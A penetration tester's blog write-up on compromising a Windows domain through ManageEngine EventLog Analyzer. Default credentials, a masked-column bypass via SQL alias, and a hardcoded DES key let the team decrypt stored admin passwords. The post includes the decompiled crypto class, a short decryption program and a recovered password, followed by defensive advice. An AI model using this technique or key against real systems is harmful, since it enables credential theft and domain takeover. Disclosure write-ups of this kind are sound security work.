Skip to main content

Unexpected Journey #2 – Taking Down Entire Domain Using Vulnerabilities of a SIEM Product

As I said on my previous article, being a penetration tester makes us feel like a group of traveler. Today, I would like to share a details about yet another 0day vulnerability we’ve found during penetration test which later lead us to take down entire domain network.

Several days ago, Mucahit -who is also author of pentest.blog- from our pentest team came to me with an IP address that runs a paid service named as Eventlog Analyzer from ManageEngine. He had already found a default credentials, which was admin/admin, and had logged in. Once you got an access to the SIEM product where every single line of event logs recorded, you much likely have an opportunity to mine sensitive logs. So we did. I wanted Mucahit to look for records of failed login attempts.

When someone failed to login a Windows machine, Windows Security Log Event ID 4625 will be generated. This event must be captured by SIEM product with a details of username and password pair. But this type of event doesn’t mean cyber attack in every case. People usually use 4-5 different password in their life time. So once someone got a failed login error, probably he gonna try another password that he might be used in the past. Or it could be a very simple typo. Thus, I was hoping a find a failed login attempt record that contains used credentials in a plain-text. If we managed to find this event log, we could try to login by using SMB or we can guess actual password considering the possibility of typo.

Unfortunately,  our scenario has failed due to lack of password field at logs. But I was believing we have detected a point where we could do really good stuff 🙏

Come on! chope, chope

To be honest, I was hoping find a useful information at previous step. But we failed. It was the moment when I decided to go big! We downloaded the software from vendor page and started analyzing it. Since it’s a Java project, it contains hell of jar file. It’s almost impossible to decompile every single jar file and then find a vulnerability. Even if you managed to find one, you gotta find a relavent url path definition where you can reach a spotted point. That requires too much time to spend and this is not a vulnerability researching project, we’re at the middle of the pentest..! Thus, I usually follow reverse direction while analyzing these type of projects.

I opened up a configration files and start looking for a keywords such as run and execute. Developers tend to give such a names when executing/running query or background job. I’ve found a following endpoint in a 5 second.

Looks like there is console where you can execute a postgresql query wihtin Eventlog. It’s really good finding for beginning. While enumerating database tables I realised a very important thing that I’ve missed. Here is the question that popped in my mind.

How this product is getting log from windows machines ?

I’ve rushed to the “Manage Host” section and then choose one of the windows machine. If it’s getting record by performing windows authentication, username and password should be recorded at the database which we can execute any query we want.

Sweet..! But it seems we have a one problem. Password field is not populated while creating a form. Let’s find these host details directly from database.

It was very odd. How did it manage to mask password field even from database query result ? It should be performing blacklisting over returned array from database. If it sees a column named such as password, it replaces actual data with *****. We could bypass this protection by using as  operator that changes column name 😎

Yes, you are right. Column named must be PRODAFT_BYPASS instead of INVICTUS_BYPASS, I’ve forgat to change it. Sorry.

Here is the actual data stored at PASSWORD field. Ofcourse we jumped in and tried this as a password but it didn’t worked. These data is 32 lenght and very looks like md5. But how it gonna use it during authentication ? It could be NT or LM hashes but I believe we are the only one who know hash works as well for windows authentication 🤓 One reasonable answer is: encryption..!

Finding Encryption Method

If this data is encrypted, encryption process should be placed on module where we are creating a new record. Thus, I navigate the Add Host module (http://12.0.0.150/event/index2.do?url=addHostForm&helpP=newHost&tab=system) and found out that addHostForm value from URL. Since almost all Java developers love the seperate Form and Action into the different classes. I started to looking for addHostAction class instead of addHostForm. This process took a hours due to decompiling all jar files.

Following code is the where application performs encryption over password field. (Location at EventLogAnalyzedJSP.jar)

password = (String)rM.invoke(rO, rOA);
if ((password != null) && (!password.isEmpty()))
{
  String dePassword = EnDecryptImplSingleton.getInstance().encrypt(password);
  LOGGER.log(Level.FINE, "Encoded password  = {0}", dePassword);
  password = dePassword;
}
hostIP = selectObj.getString("ipaddress");
Long defaultslid = SaUtil.getSLID();

Now we need to find out EnDecryptImplSingleton class. After trying to guess relavent jar file, I’ve found following code. (Location at AdventNetInstallUtil.jar)

package com.adventnet.la.util;

import com.zoho.framework.utils.crypto.EnDecryptImpl;

public class EnDecryptImplSingleton
{
  public static EnDecryptImpl instance = null;
  
  public static synchronized EnDecryptImpl getInstance()
  {
    if (instance == null) {
      instance = new EnDecryptImpl();
    }
    return instance;
  }
}

Now we have another target. We gotta find jar file that contains com.zoho.framework.utils.crypto.EncDecryptImpl (Location at framework-tools.jar)

package com.zoho.framework.utils.crypto;

import java.io.PrintStream;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.DESKeySpec;

public class EnDecryptImpl
  implements EnDecrypt
{
  private static final Logger LOGGER = Logger.getLogger(EnDecrypt.class.getName());
  private static final String DES_KEY = "MLITE_ENCRYPT_DECRYPT";
  private static final String ENCODING = "UTF-8";
  private static final char[] HEX = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f' };
  private static SecretKeyFactory desKeyFactory = null;
  private static SecretKey desSecretKey = null;
  
  public EnDecryptImpl()
  {
    initializeKey();
  }
  
  private void initializeKey()
  {
    try
    {
      DESKeySpec desKeySpec = new DESKeySpec("MLITE_ENCRYPT_DECRYPT".getBytes("UTF-8"));
      desKeyFactory = SecretKeyFactory.getInstance("DES");
      desSecretKey = desKeyFactory.generateSecret(desKeySpec);
    }
    catch (Exception e)
    {
      LOGGER.log(Level.SEVERE, "Keygeneration failed");
    }
  }
  
  public String encrypt(String plainText)
  {
    try
    {
      Cipher desCipher = Cipher.getInstance("DES");
      desCipher.init(1, desSecretKey);
      byte[] cleartext = plainText.getBytes("UTF-8");
      byte[] ciphertext = desCipher.doFinal(cleartext);
      return BASE16_ENCODE(ciphertext);
    }
    catch (Exception e)
    {
      LOGGER.log(Level.SEVERE, "Encryption failed");
    }
    return plainText;
  }
  
  public String decrypt(String cipherText)
  {
    try
    {
      Cipher desCipher = Cipher.getInstance("DES");
      desCipher.init(2, desSecretKey);
      byte[] ciphertext = cipherText.getBytes("UTF-8");
      byte[] dc = desCipher.doFinal(BASE16_DECODE(cipherText));
      return B2S(dc);
    }
    catch (Exception e)
    {
      LOGGER.log(Level.SEVERE, "Encryption failed");
    }
    return cipherText;
  }
  
  private static String BASE16_ENCODE(byte[] input)
  {
    char[] b16 = new char[input.length * 2];
    int i = 0;
    for (byte c : input)
    {
      int low = c & 0xF;
      int high = (c & 0xF0) >> 4;
      b16[(i++)] = HEX[high];
      b16[(i++)] = HEX[low];
    }
    return new String(b16);
  }
  
  private static byte[] BASE16_DECODE(String b16str)
  {
    int len = b16str.length();
    byte[] out = new byte[len / 2];
    int j = 0;
    for (int i = 0; i < len; i += 2)
    {
      int c1 = INT(b16str.charAt(i));
      int c2 = INT(b16str.charAt(i + 1));
      int bt = c1 << 4 | c2;
      out[(j++)] = ((byte)bt);
    }
    return out;
  }
  
  private static int INT(char c)
  {
    return Integer.decode("0x" + c).intValue();
  }
  
  private static String B2S(byte[] bytes)
  {
    StringBuilder buffer = new StringBuilder();
    for (byte c : bytes) {
      buffer.append((char)c);
    }
    return buffer.toString();
  }
  
  public static void main(String[] args)
  {
    EnDecrypt encryptor = new EnDecryptImpl();
    for (String plainText : args) {
      System.out.println(plainText + "=" + encryptor.encrypt(plainText));
    }
  }
}

You must realized the issue about above code. It doesn’t get encryption key from configuration file or doesn’t create a new one while saving record into the database. Either we don’t see a code something like getConf() or any process about generating new one.

Even if they intended to encrypt data, they ended up with custom encoding 👍

Final Step

I took out that jar file and create new my own Java project with a following code.

package com.company;

import com.zoho.framework.utils.crypto.EnDecryptImpl;

public class Main {

    public static EnDecryptImpl instance = null;

    public static void main(String[] args) {
        instance = new EnDecryptImpl();
        System.out.println(
                "Decrpted data : " + instance.decrypt("ce7ac2f7be752b98257921a77d59d438")
        )
    }
}

Here is the output.

// Output

Decrpted data : 7PMf5UBPJV

Process finished with exit code 0

That is the plain-text form of windows user that has NT/AUTHORITY rights across the domain..! You know where this thing ends.

Metasploit Module

Module is still under the development. We will share a full source code as PR to the msf master when we finished it.

Suggestions

Here is the our suggestion for these type of cases.

  • Do not use local administrator user account for any kind of operation. If it’s mandatory to use, then you gotta change the password very often.
  • Use agent based solutions in order to capture a logs in real time.
  • Do not leave default credentials.

Mehmet Ince

Master Ninja @ Prodaft / INVICTUS Europe.

  • Mr. EventLog

    Nice article, thanks for posting! Are you suggesting that they use a static password for the DES encryption? It looks like “MLITE_ENCRYPT_DECRYPT” is the password? Disappointing.

    Completely agree regarding agents – it’s the best way.

    • Mehmet Ince

      Unfortunately, yes. It was used for key space. As long as it remain same, used encryption will be static.

  • Michele

    Hello Mehmet,
    I have to ask you something i did not understand.
    Why do i have NT/Auth rights across the domain?

    I thought you just had the local admin credentials from that host? And that would just gave you rights on that single host. Mhh

    Greetings and hope you will respond
    Michele

    • Mehmet Ince

      Hi Michele,

      Thanks for asking this question. There is a details that I haven’t mention in article. Actually there was a 100+ windows host record at Eventlog that has exactly same hash. I just showed only one in article. As you know, system administrators usually create local administrator user and distribute it across the network with Group Policy. That makes every single machine has exactly same password. You may think that so why wouldn’t they create a local admin accounts with unique password for each host ? Yes, they totally can do that but it doesn’t matter. You can grap all “unique” hashes and still continue to decryption.

      Here is the root causes of this story.
      – Eventlog says “Needs Admin. Privilege” for given windows account. That is the reason why we have NT/authority access on every single windows machines.
      – Encryption should be performed with a encryption key that generated during installation.
      – DES should be replaced with AES256
      – Adding a feature that helps execute a database query.
      – Using pull instead of push for log transfer.

      • Michele

        Thank you 😊,

        i’m working a lot with splunk in our environment and i actually see nessesary changes we have to do. People like you giving us a third view of a process or a system. Its good to have you guys 🙂

        Greetings michele